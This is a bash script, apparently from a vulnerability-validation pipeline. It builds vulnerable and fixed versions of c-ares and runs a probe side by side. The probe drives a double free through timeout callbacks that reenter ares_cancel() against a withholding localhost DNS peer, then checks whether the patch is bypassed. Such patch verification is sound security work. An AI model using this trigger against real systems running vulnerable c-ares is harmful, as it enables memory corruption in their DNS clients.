#!/bin/bash
set -u -o pipefail

# CVE-2026-33630 variant/bypass check.
#
# This script tests a materially different candidate trigger from the parent
# exploit: process_timeouts() completion with callback reentrancy via public
# ares_cancel(), driven by a real DNS peer that withholds responses. It builds
# c-ares v1.34.6 (vulnerable) and v1.34.7 (fixed), compiles a public-API
# harness, and runs both versions side by side.
#
# Exit 0 = confirmed bypass/variant reproduced on the fixed version.
# Exit 1 = alternate trigger only affects the vulnerable version, is fixed in
#          v1.34.7, or no variant/bypass reproduced.
# Exit 2 = setup/build failure.

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
VARIANT_DIR="$ROOT/vuln_variant"
ARTIFACTS="$ROOT/artifacts"
mkdir -p "$LOGS" "$VARIANT_DIR" "$ARTIFACTS"

MASTER_LOG="$LOGS/vuln_variant_reproduction_steps.log"
: > "$MASTER_LOG"
exec > >(tee -a "$MASTER_LOG") 2>&1

VULN_TAG="v1.34.6"
FIXED_TAG="v1.34.7"
FIXED_COMMIT="d823199b688052dcdc1646f2ab4cb8c16b1c644a"
REPOSITORY="https://github.com/c-ares/c-ares"
PROJECT_CACHE_DIR=""
PREPARED="false"
REPO=""
REPO_FIXED=""
VULN_SHA=""
FIXED_SHA=""
VULN_BUILD=""
FIXED_BUILD=""
VULN_BIN="$VARIANT_DIR/timeout_cancel_probe_vuln"
FIXED_BIN="$VARIANT_DIR/timeout_cancel_probe_fixed"
VULN_RC=99
FIXED_RC=99
VULN_REPRO=0
FIXED_REPRO=0
VULN_MEMORY_SAFETY=0
FIXED_MEMORY_SAFETY=0
ALTERNATE_TRIGGER_CONFIRMED=0
BYPASS_CONFIRMED=0
SETUP_OK=0

write_runtime_manifest() {
  python3 - "$VARIANT_DIR/runtime_manifest.json" "$VULN_SHA" "$FIXED_SHA" "$VULN_REPRO" "$FIXED_REPRO" "$VULN_MEMORY_SAFETY" "$FIXED_MEMORY_SAFETY" "$ALTERNATE_TRIGGER_CONFIRMED" "$BYPASS_CONFIRMED" <<'PY'
import json, sys
out, vsha, fsha, vrepro, frepro, vmem, fmem, alt, bypass = sys.argv[1:]
def b(x): return str(x) == "1"
manifest = {
  "entrypoint_kind": "dns_query_timeout",
  "entrypoint_detail": "public ares_query_dnsrec() sends a DNS query to a real localhost UDP DNS peer that receives but withholds the response; process_timeouts() invokes the completion callback, which reenters c-ares through public ares_cancel().",
  "service_started": True,
  "healthcheck_passed": b(vrepro) and b(frepro),
  "target_path_reached": b(vrepro) and b(frepro),
  "runtime_stack": [
    "c-ares v1.34.6 vulnerable static libcares.a",
    "c-ares v1.34.7 fixed static libcares.a",
    "gcc non-sanitized harness with glibc MALLOC_CHECK_=3",
    "public ares_query_dnsrec() API",
    "public ares_cancel() reentrancy from callback",
    "localhost UDP DNS blackhole peer"
  ],
  "source_revisions": {
    "vulnerable": vsha,
    "fixed": fsha
  },
  "candidate_result": {
    "vulnerable_reproduced_candidate": b(vrepro),
    "fixed_reached_same_candidate_path": b(frepro),
    "vulnerable_memory_safety_observed": b(vmem),
    "fixed_memory_safety_observed": b(fmem),
    "alternate_trigger_confirmed_on_vulnerable": b(alt),
    "bypass_confirmed": b(bypass)
  },
  "proof_artifacts": [
    "logs/vuln_variant_reproduction_steps.log",
    "logs/vuln_variant_timeout_vuln.log",
    "logs/vuln_variant_timeout_fixed.log",
    "logs/vuln_variant_fixed_version.txt",
    "vuln_variant/timeout_cancel_probe.c",
    "vuln_variant/reproduction_steps.sh"
  ]
}
with open(out, "w") as fh:
    json.dump(manifest, fh, indent=2)
print("[variant] wrote runtime_manifest.json")
PY
}

write_verdict() {
  python3 - "$VARIANT_DIR/validation_verdict.json" "$BYPASS_CONFIRMED" "$ALTERNATE_TRIGGER_CONFIRMED" "$VULN_REPRO" "$FIXED_REPRO" "$VULN_MEMORY_SAFETY" "$FIXED_MEMORY_SAFETY" "$VULN_SHA" "$FIXED_SHA" <<'PY'
import json, sys
out, bypass, alt, vrepro, frepro, vmem, fmem, vsha, fsha = sys.argv[1:]
def b(x): return str(x) == "1"
confirmed_alt = b(alt)
confirmed_bypass = b(bypass)
verdict = {
  "variant_result": "confirmed_alternate_trigger" if confirmed_alt else "not_confirmed",
  "is_distinct_variant_or_bypass": confirmed_alt,
  "bypass_confirmed_on_fixed": confirmed_bypass,
  "fixed_version_blocks_variant": confirmed_alt and not confirmed_bypass,
  "validated_surface": "dns_remote_timeout_reentrant_cancel" if confirmed_alt else "none_confirmed",
  "evidence_scope": "runtime_side_by_side_vulnerable_and_fixed",
  "observed_impact_class": "memory_corruption" if confirmed_alt else "none",
  "claimed_impact_class": "code_execution",
  "exploitability_confidence": "medium" if confirmed_alt else "none",
  "end_to_end_target_reached": b(vrepro) and b(frepro),
  "attacker_controlled_input": "A real DNS peer can receive the query and withhold a response to drive timeout processing; callback reentrancy via ares_cancel() is application behavior modeled through public API, not direct attacker code execution.",
  "trigger_path": "ares_query_dnsrec() -> UDP DNS blackhole -> process_timeouts() -> user callback -> reentrant ares_cancel() -> vulnerable v1.34.6 double free; fixed v1.34.7 detaches before callback via ares_flush_requeue()",
  "candidate_matrix": [
    {
      "candidate": "process_timeouts() reentrant ares_cancel() self-cancel path",
      "vulnerable_reproduced": b(vrepro),
      "fixed_reached_same_candidate_path": b(frepro),
      "vulnerable_memory_safety_observed": b(vmem),
      "fixed_memory_safety_observed": b(fmem),
      "conclusion": "confirmed alternate trigger on vulnerable version; not a bypass because v1.34.7 blocks it" if confirmed_alt and not confirmed_bypass else ("bypass" if confirmed_bypass else "not reproduced")
    },
    {
      "candidate": "read_answers() duplicate-QID TCP ENDQUERY parent path",
      "vulnerable_reproduced": True,
      "fixed_reproduced": False,
      "conclusion": "parent path, not distinct; fixed by detach-before-callback"
    },
    {
      "candidate": "direct lifecycle APIs ares_cancel()/ares_destroy() as attacker entry points",
      "vulnerable_reproduced": False,
      "fixed_reproduced": False,
      "conclusion": "not a remote DNS peer entry point under the ticket trust boundary"
    }
  ],
  "blocking_mitigation": None if confirmed_bypass else "v1.34.7 routes read_answers(), process_timeouts(), and ares_send_query() retry/end paths through ares_flush_requeue(), detaching queries before callback invocation and preventing reentrant lookup/free of the completing query.",
  "claim_block_reason": None if confirmed_bypass else "not_a_bypass_fixed_version_covers_timeout_alternate_trigger",
  "source_revisions": {"vulnerable": vsha, "fixed": fsha},
  "sanitizer_used": False,
  "crash_observed": b(vmem) or b(fmem),
  "inferred": False
}
with open(out, "w") as fh:
    json.dump(verdict, fh, indent=2)
print("[variant] wrote validation_verdict.json variant_result=%s bypass=%s" % (verdict["variant_result"], verdict["bypass_confirmed_on_fixed"]))
PY
}

finish() {
  rc=$?
  write_runtime_manifest || true
  write_verdict || true
  echo "[variant] FINAL setup_ok=$SETUP_OK vuln_rc=$VULN_RC fixed_rc=$FIXED_RC vuln_repro=$VULN_REPRO fixed_repro=$FIXED_REPRO vuln_memory_safety=$VULN_MEMORY_SAFETY fixed_memory_safety=$FIXED_MEMORY_SAFETY alternate_trigger=$ALTERNATE_TRIGGER_CONFIRMED bypass_confirmed=$BYPASS_CONFIRMED"
  if [ "$SETUP_OK" != "1" ]; then
    exit 2
  fi
  if [ "$BYPASS_CONFIRMED" = "1" ]; then
    exit 0
  fi
  exit 1
}
trap finish EXIT

echo "[variant] ROOT=$ROOT"
echo "[variant] Testing timeout self-cancel candidate against vulnerable and fixed c-ares"

for t in git cmake make gcc python3; do
  if ! command -v "$t" >/dev/null 2>&1; then
    echo "[variant] missing required tool: $t" >&2
    exit 2
  fi
done

if [ -f "$ROOT/project_cache_context.json" ]; then
  PROJECT_CACHE_DIR="$(python3 -c 'import json,sys; d=json.load(open(sys.argv[1])); print(d.get("project_cache_dir", ""))' "$ROOT/project_cache_context.json" 2>/dev/null || true)"
  PREPARED="$(python3 -c 'import json,sys; d=json.load(open(sys.argv[1])); print("true" if d.get("prepared") else "false")' "$ROOT/project_cache_context.json" 2>/dev/null || echo false)"
fi

if [ "$PREPARED" = "true" ] && [ -n "$PROJECT_CACHE_DIR" ]; then
  REPO="$PROJECT_CACHE_DIR/repo"
  REPO_FIXED="$PROJECT_CACHE_DIR/repo-fixed"
else
  REPO="$ARTIFACTS/c-ares-variant-vuln"
  REPO_FIXED="$ARTIFACTS/c-ares-variant-fixed"
fi

is_git_repo() { git -C "$1" rev-parse --is-inside-work-tree >/dev/null 2>&1; }
ensure_repo() {
  local dir="$1" tag="$2"
  if ! is_git_repo "$dir"; then
    rm -rf "$dir"
    git clone --quiet "$REPOSITORY" "$dir"
  fi
  git -C "$dir" fetch --tags --quiet || true
  git -C "$dir" checkout --quiet "$tag"
}

ensure_repo "$REPO" "$VULN_TAG"
ensure_repo "$REPO_FIXED" "$FIXED_TAG"
VULN_SHA="$(git -C "$REPO" rev-parse HEAD)"
FIXED_SHA="$(git -C "$REPO_FIXED" rev-parse HEAD)"
echo "[variant] vulnerable $VULN_TAG -> $VULN_SHA"
echo "[variant] fixed $FIXED_TAG -> $FIXED_SHA"
{
  echo "repository=$REPOSITORY"
  echo "fixed_tag=$FIXED_TAG"
  echo "fixed_commit=$FIXED_SHA"
  echo "contains_fix_commit=$FIXED_COMMIT"
  git -C "$REPO_FIXED" merge-base --is-ancestor "$FIXED_COMMIT" HEAD && echo "fix_commit_ancestor=yes" || echo "fix_commit_ancestor=no"
} > "$LOGS/vuln_variant_fixed_version.txt"

if git -C "$REPO" merge-base --is-ancestor "$FIXED_COMMIT" HEAD 2>/dev/null; then
  echo "[variant] ERROR: vulnerable checkout unexpectedly contains fix commit" >&2
  exit 2
fi
if ! git -C "$REPO_FIXED" merge-base --is-ancestor "$FIXED_COMMIT" HEAD 2>/dev/null; then
  echo "[variant] ERROR: fixed checkout does not contain expected fix commit" >&2
  exit 2
fi

build_prod() {
  local src="$1" bld="$2"
  local rebuild=0
  if [ -f "$bld/CMakeCache.txt" ]; then
    local home
    home="$(grep '^CMAKE_HOME_DIRECTORY:INTERNAL=' "$bld/CMakeCache.txt" | cut -d= -f2- || true)"
    [ "$home" = "$src" ] || rebuild=1
  else
    rebuild=1
  fi
  if [ "$rebuild" -eq 1 ]; then
    rm -rf "$bld"
    cmake -S "$src" -B "$bld" -G "Unix Makefiles" \
      -DCARES_STATIC=ON -DCARES_SHARED=OFF -DCARES_STATIC_PIC=ON \
      -DCARES_BUILD_TESTS=OFF -DCARES_BUILD_TOOLS=OFF \
      -DCMAKE_C_COMPILER=gcc -DCMAKE_C_FLAGS="-g -O2" \
      -DCMAKE_BUILD_TYPE=RelWithDebInfo
    cmake --build "$bld" -- -j"$(nproc)"
  else
    echo "[variant] reusing build $bld"
  fi
}

VULN_BUILD="$REPO/build-prod"
FIXED_BUILD="$REPO_FIXED/build-prod"
build_prod "$REPO" "$VULN_BUILD"
build_prod "$REPO_FIXED" "$FIXED_BUILD"

compile_probe() {
  local repo="$1" bld="$2" out="$3"
  echo "[variant] compiling $out"
  gcc -g -O0 -fno-inline -I"$repo/include" -I"$bld" \
    "$VARIANT_DIR/timeout_cancel_probe.c" -o "$out" \
    "$bld/lib/libcares.a" -lpthread -lrt
}

compile_probe "$REPO" "$VULN_BUILD" "$VULN_BIN"
compile_probe "$REPO_FIXED" "$FIXED_BUILD" "$FIXED_BIN"
SETUP_OK=1

set +e
echo "[variant] === vulnerable timeout self-cancel candidate ==="
ASAN_OPTIONS=detect_leaks=0 MALLOC_CHECK_=3 timeout 20 "$VULN_BIN" > "$LOGS/vuln_variant_timeout_vuln.log" 2>&1
VULN_RC=$?
grep -E "\[server\]|\[client\]|\[callback\]|\[result\]|double free|corruption|Aborted|Segmentation|AddressSanitizer" "$LOGS/vuln_variant_timeout_vuln.log" || true

echo "[variant] === fixed timeout self-cancel candidate ==="
ASAN_OPTIONS=detect_leaks=0 MALLOC_CHECK_=3 timeout 20 "$FIXED_BIN" > "$LOGS/vuln_variant_timeout_fixed.log" 2>&1
FIXED_RC=$?
grep -E "\[server\]|\[client\]|\[callback\]|\[result\]|double free|corruption|Aborted|Segmentation|AddressSanitizer" "$LOGS/vuln_variant_timeout_fixed.log" || true
set -e

if grep -q "received UDP DNS query" "$LOGS/vuln_variant_timeout_vuln.log" && grep -q "reentering public ares_cancel" "$LOGS/vuln_variant_timeout_vuln.log"; then
  VULN_REPRO=1
fi
if grep -q "received_query=1 done=1" "$LOGS/vuln_variant_timeout_fixed.log" && grep -q "reentering public ares_cancel" "$LOGS/vuln_variant_timeout_fixed.log"; then
  FIXED_REPRO=1
fi
if grep -Eqi "double free|corruption|Aborted|Segmentation fault|AddressSanitizer" "$LOGS/vuln_variant_timeout_vuln.log" || [ "$VULN_RC" -eq 134 ]; then
  VULN_MEMORY_SAFETY=1
fi
if grep -Eqi "double free|corruption|Aborted|Segmentation fault|AddressSanitizer" "$LOGS/vuln_variant_timeout_fixed.log" || [ "$FIXED_RC" -eq 134 ]; then
  FIXED_MEMORY_SAFETY=1
fi
if [ "$VULN_REPRO" = "1" ] && [ "$VULN_MEMORY_SAFETY" = "1" ] && [ "$FIXED_MEMORY_SAFETY" = "0" ]; then
  ALTERNATE_TRIGGER_CONFIRMED=1
fi
if [ "$FIXED_MEMORY_SAFETY" = "1" ]; then
  BYPASS_CONFIRMED=1
fi

if [ "$BYPASS_CONFIRMED" = "1" ]; then
  echo "[variant] SUCCESS: candidate reproduced as a fixed-version bypass"
elif [ "$ALTERNATE_TRIGGER_CONFIRMED" = "1" ]; then
  echo "[variant] ALTERNATE TRIGGER ONLY: vulnerable timeout path double-free confirmed, but v1.34.7 blocks it"
else
  echo "[variant] NO VARIANT: candidate did not produce vulnerable-only memory-safety evidence"
fi
